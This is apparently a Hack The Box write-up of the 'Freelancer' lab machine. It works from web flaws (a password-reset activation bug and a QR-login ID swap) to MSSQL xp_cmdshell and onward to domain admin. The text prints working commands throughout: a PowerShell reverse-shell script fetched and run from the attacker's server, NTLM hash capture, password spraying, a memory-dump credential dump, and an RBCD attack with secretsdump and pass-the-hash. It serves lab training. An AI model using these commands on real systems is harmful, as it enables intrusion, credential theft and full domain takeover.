Enumeration

We start off with an nmap scan to get a listing of services on open ports:

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          nginx 1.25.5
|_http-server-header: nginx/1.25.5
|_http-title: Did not follow redirect to http://freelancer.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-07-29 11:42:30Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: freelancer.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: freelancer.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49681/tcp open  msrpc         Microsoft Windows RPC
49682/tcp open  msrpc         Microsoft Windows RPC
61197/tcp open  msrpc         Microsoft Windows RPC
61201/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-07-29T11:43:21
|_  start_date: N/A
|_clock-skew: 5h01m11s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

There’s a lot to digest from this output. It’s almost definitely a Windows machine based on all the reported services; typical Microsoft RPC ports, Simple DNS Plus and domain controller ports such as 88 for Kerberos, 389 and 636 for LDAP and 5985 for WinRM.

The HTTP redirect on port 80 is to freelancer.htb and the reported LDAP domain is also freelancer.htb so we add this to our /etc/hosts file.

Web Enumeration

There’s also a lot to look at for the web application running on port 80. We are presented with a website that appears to be a type of job site matching potential employers with prospective employees.

There is a registration option available for employers and employees as well as sign-in for both. The employer registration has a note:

**Note: After creating your employer account, your account will be inactive until our team reviews your account details and contacts you by email to activate your account.**

This is a good indicator that there could be some way to get XSS and maybe steal an administrator cookie.

Most of the site functionality requires credentials. We can register as an employee at http://freelancer.htb/freelancer/register/. I filled in some gibberish details and logged in.

One thing we can do once we log in is enumerate users. If we look at job postings, we can see the name of the person who posted the job. Clicking on this takes us to a URL such as http://freelancer.htb/accounts/profile/visit/3/. Notice that we have a number indicating which profile we are viewing. It’s possible to enumerate all the users this way.

If we go to http://freelancer.htb/accounts/profile/visit/0/ we get a 404 error, and any valid number will return a page. Interestingly, page 1 returns a 404 as well which I thought might be the admin id after 0, but it turns out the admin is on page http://freelancer.htb/accounts/profile/visit/2/ and it’s John Halond and we notice his email address is listed as [email protected].

We can now assume that any users we find related to this machine will likely have email addresses (and possible AD accounts) in the format first-name followed by last-name.

We enumerate a bunch of users from this:

lisa arkhader
tom hazard
itachi uchiha
sara arkhader
maya ackasha
martin rose
john carter
philip marcos
mark rose
jonathon roman
camellia renesa
john halond
crista watterson

Not all of these users have the freelancer.htb domain, but we might be able to use any of these as an employee/employer logon in the future so it’s best to keep a track of all of them.

We also kick of a directory busting using feroxbuster:

feroxbuster -u http://freelancer.htb/ -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt

One of the things we discover during directory busting is the /admin route but we can’t access this without administrative credentials.

Exploiting Employer Registration

I captured the request to register a new employer:

POST /employer/register/ HTTP/1.1
Host: freelancer.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://freelancer.htb/employer/register/
Content-Type: application/x-www-form-urlencoded
Content-Length: 315
Origin: http://freelancer.htb
Connection: keep-alive
Cookie: csrftoken=zwiutHe8tSVFyKqBQZcdBHhcP9lbLRu3; sessionid=gozpoxhwpripbnt932sidvvv1e8bug0s
Upgrade-Insecure-Requests: 1

csrfmiddlewaretoken=WksKjtQRlolTNzrqMBEyFmzykFcUL9wslGA4C0UPE66ob9HRsqGB6TGAZEnVmQQl&username=pentester_employer&email=e2%40mail.com&first_name=pentester&last_name=employer&address=test&security_q1=test&security_q2=test&security_q3=test&company_name=test&password1=Password123%21&password2=Password123%21

I appended <img+src%3d"http%3a//IP%3aPORT/FIELD"/> to each field except the passwords in the POST payload, updating the IP, PORT and FIELD as required so that if I got a callback when running python3 -m http.server PORT, I’d be able to know which field is vulnerable. This did not work, and neither did any other XSS payload. I thought XSS was probably a rabbit hole at this point, so I moved on.

I simply tried to log in as this account and saw the error message: **Sorry, this account is not activated and can not be authenticated!.**

Sometimes, during a password reset, more than just a password change might occur, such as setting properties like IsEnabled (for example) to true. So I tried the Forgot Your Password? link and reset the password. Success!!! I can now log in as this user without needing to wait for an admin to register the account.

For functionality such as password resets, developers should be mindful of what data is being updated on a user account. The data model should separate concerns such as “is a user account active?” from “is a user account registered” in different properties so that something like a reset password doesn’t inadvertently reset both when it sets active to true for example.

Exploiting QR Code Login Feature

One of the features we can see when we log in as an employer is the ability to generate a QR code and use that to log in. Going to http://freelancer.htb/employer/otp/qrcode/ shows us a QR code which we can use. I took a screenshot of the QR code and took it to https://scanqr.org/#scan to scan it. The result was:

http://freelancer.htb/accounts/login/otp/MTAwMTI=/5aea5edb2cea5bb2b2506ea9cc70b878/

And we can decode the base64 encoded section of the URL:

echo 'MTAwMTI=' | base64 -d

This gives us the number 10012 which turns out to be our employer ID. We know from previous enumeration that the admin, John Halond, has an ID of 2 so we can base64 that and try to log in by replacing the base64 encoded ID: http://freelancer.htb/accounts/login/otp/Mgo=/5aea5edb2cea5bb2b2506ea9cc70b878/

Another success! We are now logged in as the admin. Using this new-found login, we can try and access the /admin route we found earlier and now we can access it.

Exploiting SQL Terminal

With our new found access to the /admin route, we find a SQL Terminal.

Immediately, I typed in show databases; knowing that it would likely fail. The error message shows ('42000', "[42000] [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Incorrect syntax near ')'. (102) (SQLExecDirectW)") which discloses which DB we are talking to.

The first thing I usually try is xp_dirtree \\some_UNC_accessible_host\something to see if we can get the SQL server to talk back to us. If it does, we might be able to catch an NTLMv2 hash. Firstly, we set up responder:

sudo responder -I tun0

And then back in the SQL terminal, we run:

xp_dirtree '\\10.10.10.10\something';

Immediately, we get a result in responder:

sql_svc::FREELANCER:1950396fce5d9920:A2D952FA24FE2596317D85A71CD71FC5:010100000000000000F5F0A9FCE1DA0153E1A780CF54F45E0000000002000800580043005800590001001E00570049004E002D00460049003700500048004C004700530041005300360004003400570049004E002D00460049003700500048004C00470053004100530036002E0058004300580059002E004C004F00430041004C000300140058004300580059002E004C004F00430041004C000500140058004300580059002E004C004F00430041004C000700080000F5F0A9FCE1DA0106000400020000000800300030000000000000000000000000300000F733B0AC8ACB8693548A14F65F656547500BA29716C83490096D847B57CE0CE10A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00350035000000000000000000

However, this password does not crack using rockyou.txt and adding more rules to hashcat is usually not the way in HTB. So I moved on.

One of the most common ways to exploit SQL Server is using xp_cmdshell but running this gives us The EXECUTE permission was denied on the object 'xp_cmdshell'. Looking at the HackTricks article, https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#execute-os-commands, we can come up with a way to potentially get this to work.

If we just try the one liner suggested, EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;, we’ll get an error saying we do not have permission to do this. But we can potentially impersonate a user who has the ability to do this.

When we run SELECT suser_sname(owner_sid) FROM sys.databases we see sa is the owner of all the databases. We can then run:

EXECUTE AS LOGIN = 'sa'
SELECT IS_SRVROLEMEMBER('sysadmin')

And we get a result of 1 indicating we can impersonate sa and they are the server admin.

With this knowledge, we can then use the following to enable the ability to use xp_cmdshell:

SELECT user_name(); -- Returns 'Freelancer_webapp_user'

EXECUTE AS LOGIN = 'sa'
EXEC sp_addsrvrolemember 'Freelancer_webapp_user', 'sysadmin'

EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

Now we can run commands, for example:

xp_cmdshell 'whoami';

This then displays freelancer\sql_svc which we knew we were running as because of the previously captured NTLMv2 hash.

Let’s get a reverse shell prepared on our local machine:

$cc = New-Object System.Net.Sockets.TCPClient('HOST',PORT);$s = $cc.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $s.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + '> ';$sss = ([text.encoding]::ASCII).GetBytes($sendback2);$s.Write($sss,0,$sss.Length);$s.Flush()};$cc.Close()

NOTE: You must change the HOST and PORT

And we spin up a web server in one terminal and a netcat listener in another:

python3 -m http.server 9091

rlwrap nc -lnvp <port>

We then can use this payload in the SQL terminal and run it:

xp_cmdshell 'powershell -c "IEX(iwr -usebasicparsing http://10.10.14.55:9091/rev.ps1)"';

After a short wait, it gets executed and we get a shell:

listening on [any] 4444 ...
connect to [10.10.14.55] from (UNKNOWN) [10.129.90.99] 57274
whoami
freelancer\sql_svc
> 

Escalation from sql_svc

The escalation from sql_svc is a just a matter of exploring the box. The first thing I do after enumerating system info and whoami /all and not finding anything, is to change to the home directory of the current user and do a gci -recurse -erroraction silentlycontinue just to get a listing of all the files belonging to the current user. This may have to be done with -hidden to get hidden files if nothing interesting appears in the first pass.

One thing we eventually find is a file for the configuration of the SQL service which we type out:

type C:\Users\sql_svc\Downloads\SQLEXPR-2019_x64_ENU\sql-Configuration.INI

And within, we can find a password:

SQLSVCACCOUNT="FREELANCER\sql_svc"
SQLSVCPASSWORD="<redacted>"

Given the list of users we can enumerate on the machine by running net user, we can run netexec and spray the password at the local accounts to see if has been reused.

netexec smb $target -u users.lst -p '<redacted>'

We get one hit on the mikasaAckerman account:

SMB         10.129.90.99    445    DC               [+] freelancer.htb\mikasaAckerman:<redacted>

WinRM is available on the box so we can try log in as this user using evil-winrm:

evil-winrm -i $target -u 'mikasaAckerman' -p '<redacted>'

But unfortunately, this does not work.

Another way to get a shell is to use RunasCs which is a C# implementation of the Runas Windows utility. It includes features such as a full redirection of standard IO so you can effectively pipe out the interaction of a shell such as cmd.exe or powershell.exe to a remote host.

We can download this to the host through an Invoke-WebRequest and run it as such:

.\RunasCs.exe mikasaAckerman <redacted> powershell.exe -r HOST:PORT

We have staged a netcat listener on another port of our attack machine to receive the shell using:

rlwrap nc -lnvp PORT

Running whoami reveals we now have a full shell as misakaAckerman:

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\WINDOWS\system32> whoami
whoami
freelancer\mikasaackerman

Escalation from mikasaackerman

Now that we have a shell as mikasaackerman, we can read the files in their home directory. In their Desktop folder, next to the user flag, we find 2 files that look very interesting to us:

-a----       10/28/2023   6:23 PM           1468 mail.txt                        
-a----        10/4/2023   1:47 PM      292692678 MEMORY.7z

Reading the main reveals:

I tried once again to work with Liza Kazanoff after seeking her help to troubleshoot the BSOD issue on the "DATACENTER-2019" computer. As you know, the problem started occurring after we installed the new update of SQL Server 2019.
I attempted the solutions you provided in your last email, but unfortunately, there was no improvement. Whenever we try to establish a remote SQL connection to the installed instance, the server's CPU starts overheating, and the RAM usage keeps increasing until the BSOD appears, forcing the server to restart.
Nevertheless, Liza has requested me to generate a full memory dump on the Datacenter and send it to you for further assistance in troubleshooting the issue.
Best regards,

This gives us context for the file called MEMORY.7z. It’s possible the memory dump has more credentials for us to find. We need to get it back to our machine to analyze it. Firstly, we stage an SMB server on our attack host:

sudo smbserver.py -smb2support -username pentester -password Pentester123 share ./smb/

Then, on the target, we have to mount the share to a new drive:

net use X: \\HOST\share Pentester123 /user:pentester

Then the copy back to our machine is simply:

copy MEMORY.7z X:\

To decompress the memory dump, we can use 7z:

7z e MEMORY.7z

We now have a DMP file. The easiest way to get info out of a dump file is volatility. If you don’t have volatility, there are good instructions at https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet

Using volatility, we can try to get credentials using:

volatility -f MEMORY.DMP windows.lsadump.Lsadump

The output of this command is not all human readable. But one thing we notice is a potential password among the gibberish. We repeat the step from the previous netexec password spray with this new password to see if it belongs to someone on the machine.

netexec smb $target -u users.lst -p '<redacted>'

This works again and we have the credentials for the lora199 account:

SMB         10.129.23.202   445    DC               [+] freelancer.htb\lorra199:<redacted>

We also repeat the same strategy with the RunasCs.exe to get a shell as lorra199:

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\WINDOWS\system32> whoami
whoami
freelancer\lorra199

Escalation to NT Authority System

As the lorra199 user, we can check our new user’s privileges using whoami /all and we see we are a member of an interesting group in AD, the AD Recycle Bin. This group is potentially very powerful. With this ability, we have a chance at reading sensitive data put into the bin. We can check what’s deleted using:

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

This doesn’t really help us but it’s interesting to know. Looking around the box doesn’t reveal much that we can do. Now, manually, you could go ahead and mount additional PowerShell tools such as PowerView to enumerate further, but it’s easier to run Bloodhound:

bloodhound-python -ns $target -dc freelancer.htb -d freelancer.htb -c All -u 'lorra199' -p '<redacted>'

This gives us several json files which we can load into BloodHound. Analyzing our current user, lorra199, we find that we have the ability to do a resource based constrained delegation. Basically, we can add a computer to the domain with our abilities, and then get the domain controller to trust it with some administrative permissions, which we then abuse to impersonate the domain Administrator.

We do this in several steps with ease using the tools from impacket:

Add our attacker computer to the domain using our lorra199 credentials. We give it a name and password that we know that we will re-use later.

addcomputer.py -computer-name 'PENTESTER$' -computer-pass 'Pentester123!' -dc-host freelancer.htb -domain-netbios freelancer.htb freelancer.htb/lorra199:<redacted>

We use rbcd (resource based constrained delegation) to change the delegation settings of the new attacker computer in the domain:

rbcd.py -delegate-from 'PENTESTER$' -delegate-to 'DC$' -dc-ip $target -action 'write' 'freelancer.htb/lorra199:<redacted>'

Then we use the above permissions to get a service ticket that impersonates the Domain Administrator:

getST.py -spn 'cifs/DC.freelancer.htb' -impersonate Administrator -dc-ip $target 'freelancer.htb/PENTESTER$:Pentester123!'

Using our new credentials (stored in the ccache file loaded into environment variable KRB5CCNAME), we can use secretsdump.py to get all the secrets from the DC:

secretsdump.py 'freelancer.htb/[email protected]' -k -no-pass -dc-ip $target -target-ip $target -just-dc-ntlm

We can take the Administrator hash that is dumped from the server to log in using a pass-the-hash and evil-winrm:

evil-winrm -i $target -u 'Administrator' -H '<redacted>'

Success! We now have access to the server as the Administrator!